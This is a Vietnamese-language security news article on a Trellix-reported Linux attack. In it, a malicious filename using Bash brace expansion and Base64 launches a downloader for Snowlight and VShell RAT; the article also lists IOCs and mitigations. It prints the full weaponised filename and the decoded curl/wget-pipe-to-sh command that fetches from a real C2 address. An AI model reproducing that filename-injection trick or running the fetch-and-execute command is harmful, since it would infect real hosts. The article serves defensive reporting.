Mới đây, Trellix Advanced Research Center đã phát hiện một chuỗi lây nhiễm độc đáo, lợi dụng chỉ một tên file để khai thác Linux hosts. Kỹ thuật này không yêu cầu bit thực thi truyền thống hay macro, mà chỉ cần các script quản trị hệ thống hoặc thu thập log thông thường cũng đủ để kích hoạt payload độc hại.
Kỹ thuật Khai thác Linux qua Tên File Độc hại
Phương thức Lây nhiễm Ban đầu
Chuỗi lây nhiễm bắt đầu bằng một tin nhắn spam giả mạo khảo sát sản phẩm làm đẹp, đề nghị một phần thưởng nhỏ. Kèm theo tin nhắn là một file nén RAR có tên yy.rar. Khi giải nén, file RAR này thả ra một file duy nhất với tên chứa một chương trình Bash thu nhỏ:
ziliao2.pdf{echo,KGN1cmwgLWZzU0wgLW0xODAgaHR0cDovLzQ3Ljk4LjE5NC42MDo4MDg0L3Nsd3x8d2dldCAtVDE4MCAtcSBodHRwOi8vNDcuOTguMTk0LjYwOjgwODQvc2x3KXxzaCAg}_{base64,-d}_bashCơ chế Process Expansion của Bash
Các dấu ngoặc nhọn {} lợi dụng cú pháp “process expansion” của Bash. Bất kỳ vòng lặp nào không được làm sạch đầu vào khi liệt kê tên file (ví dụ: for f in *; echo "$f") hoặc lệnh eval xung quanh ls sẽ đánh giá nội dung bên trong dấu ngoặc nhọn.
Quá trình này giải mã chuỗi Base64 ngay lập tức và chuyển đầu ra plaintext cho bash để thực thi. Điều này loại bỏ nhu cầu về một bit thực thi thông thường hoặc macro, biến các script kiểm kê hoặc thu thập log định kỳ thành công cụ kích hoạt payload.
Chuỗi Lây nhiễm và Tải xuống Payload
Giai đoạn 1: Tải xuống Mã độc
Script được giải mã ở Giai đoạn 1 sẽ liên hệ với địa chỉ 47.98.194.60:8084 để âm thầm tải về một trình tải xuống Bash thứ cấp. Nội dung script Giai đoạn 1 sau khi giải mã Base64 có dạng:
(curl -fsSL -m180 http://47.98.194.60:8084/slw||wget -T180 -q http://47.98.194.60:8084/slw)|shMã độc thiết lập cơ chế duy trì bằng cách mở rộng biến môi trường PATH và dò tìm các thư mục có thể ghi như /tmp, /usr/local/bin và /usr/libexec. Sau đó, nó xác định kiến trúc CPU của host (x86_64, i386, armv7l, aarch64) để tải về loader ELF phù hợp.
Loader ELF được gọi bằng lệnh nohup trong chế độ nền, đảm bảo tiến trình tồn tại ngay cả khi phiên làm việc bị chấm dứt. Mỗi lần thử sao chép được bao bọc trong lệnh chuyển hướng đến /dev/null, giúp giảm thiểu các dấu vết pháp y trên đĩa.
Mã độc Snowlight và Mối đe dọa VShell RAT
ELF Loader và Giải mã Payload
Loader ELF ở Giai đoạn 2, được liên kết mạnh mẽ với họ mã độc Snowlight, sẽ xây dựng một yêu cầu HTTP GET chứa thông tin định danh của host, kiến trúc và cổng lắng nghe. Sau đó, nó thu thập một blob nhị phân được mã hóa bằng XOR từ máy chủ điều khiển (C2).
Một khóa một byte duy nhất (0x99) được áp dụng trong bộ nhớ để giải mã. Chương trình sau đó thực thi payload đã giải mã bằng fexecve(), giữ cho backdoor hoàn toàn không tồn tại trên đĩa. Để tránh lây nhiễm trùng lặp, mã độc kiểm tra sự hiện diện của file đánh dấu /tmp/log_de.log trước khi khởi chạy.
Che giấu Tiến trình và VShell RAT
Cuối cùng, đối tượng argv của tiến trình được viết lại để giả mạo một tiến trình worker kernel lành tính, ví dụ [kworker/0:2]. Điều này giúp mã độc ẩn mình trong các lệnh kiểm tra tiến trình như ps hoặc top.
Payload đã giải mã chính là VShell RAT, một công cụ truy cập từ xa (Remote Access Tool) dựa trên Go, được một số nhóm APT Trung Quốc ưa chuộng. VShell cung cấp các chức năng mạnh mẽ như:
- Reverse shells tương tác
- Tải lên/tải xuống file
- Liệt kê tiến trình
- Chuyển tiếp cổng (port-forwarding)
Kênh C2 của VShell sử dụng các thuật toán XOR tùy chỉnh và các binary của nó được biên dịch cho nhiều kiến trúc, khiến chiến dịch tấn công mạng này trở nên nguy hiểm đối với máy chủ đám mây, thiết bị IoT và máy trạm phát triển.
Cơ chế Né tránh Phát hiện và Hạn chế Bảo mật Linux
Chiến dịch này có khả năng vượt qua ba lớp phát hiện truyền thống cùng một lúc. Các công cụ antivirus hiếm khi quét tên file, các trình quét tĩnh bỏ qua chuỗi giải mã obfuscated, và các công cụ phát hiện dựa trên hành vi không thể gắn cờ thực thi cho đến khi tên file được mở rộng.
Bởi vì nhiều script DevOps, backup và giám sát thường duyệt qua các thư mục mà không làm sạch đầu vào, kỹ thuật này đã vũ khí hóa chính sự minh bạch và linh hoạt vốn có của Linux – những yếu tố làm cho nền tảng này trở nên hấp dẫn nhưng cũng tiềm ẩn rủi ro bảo mật Linux đáng kể.
Để biết thêm chi tiết về chiến dịch này, bạn có thể tham khảo báo cáo chuyên sâu từ Trellix: The Silent Fileless Threat of VShell.
Các chỉ số thỏa hiệp (IOCs)
Các chỉ số thỏa hiệp (IOCs) giúp nhận diện và ứng phó với khai thác Linux này:
- Địa chỉ C2:
47.98.194.60:8084 - Tên file độc hại: Mẫu
*.pdf{echo,BASE64_ENCODED_COMMAND}_{base64,-d}_bash - File đánh dấu tránh trùng lặp:
/tmp/log_de.log - Giả mạo tiến trình:
[kworker/0:2](có thể biến đổi)
Biện pháp Giảm thiểu và Phát hiện Kỹ thuật Khai thác
Để phòng ngừa và phát hiện các cuộc tấn công mạng tương tự, cần áp dụng các biện pháp sau:
- Làm sạch đầu vào nghiêm ngặt: Đảm bảo tất cả các script xử lý tên file đều sử dụng hàm làm sạch đầu vào, ví dụ:
printf '%q'cho tên file để ngăn chặn việc thực thi lệnh ngoài ý muốn. - Loại bỏ
eval: Hạn chế hoặc loại bỏ việc sử dụng lệnhevaltrong các script bảo trì, đặc biệt khi xử lý dữ liệu đầu vào không đáng tin cậy. - Giám sát lưu lượng HTTP bất thường: Theo dõi các yêu cầu HTTP đi ra bất thường từ các binary tạm thời trong thư mục như
/tmphoặc/usr/local/bin. - Săn lùng các kernel thread giả mạo: Kiểm tra các tiến trình worker kernel có dấu hiệu bất thường hoặc các tiến trình giả mạo.
- Giám sát sử dụng
fexecve: Theo dõi các trường hợp sử dụngfexecvekhông điển hình, đặc biệt là từ các tiến trình hoặc vị trí không mong muốn.
Việc tăng cường an ninh mạng cho hệ thống Linux đòi hỏi sự chú ý đến từng chi tiết nhỏ và triển khai các biện pháp bảo vệ đa lớp để chống lại các kỹ thuật khai thác ngày càng tinh vi.










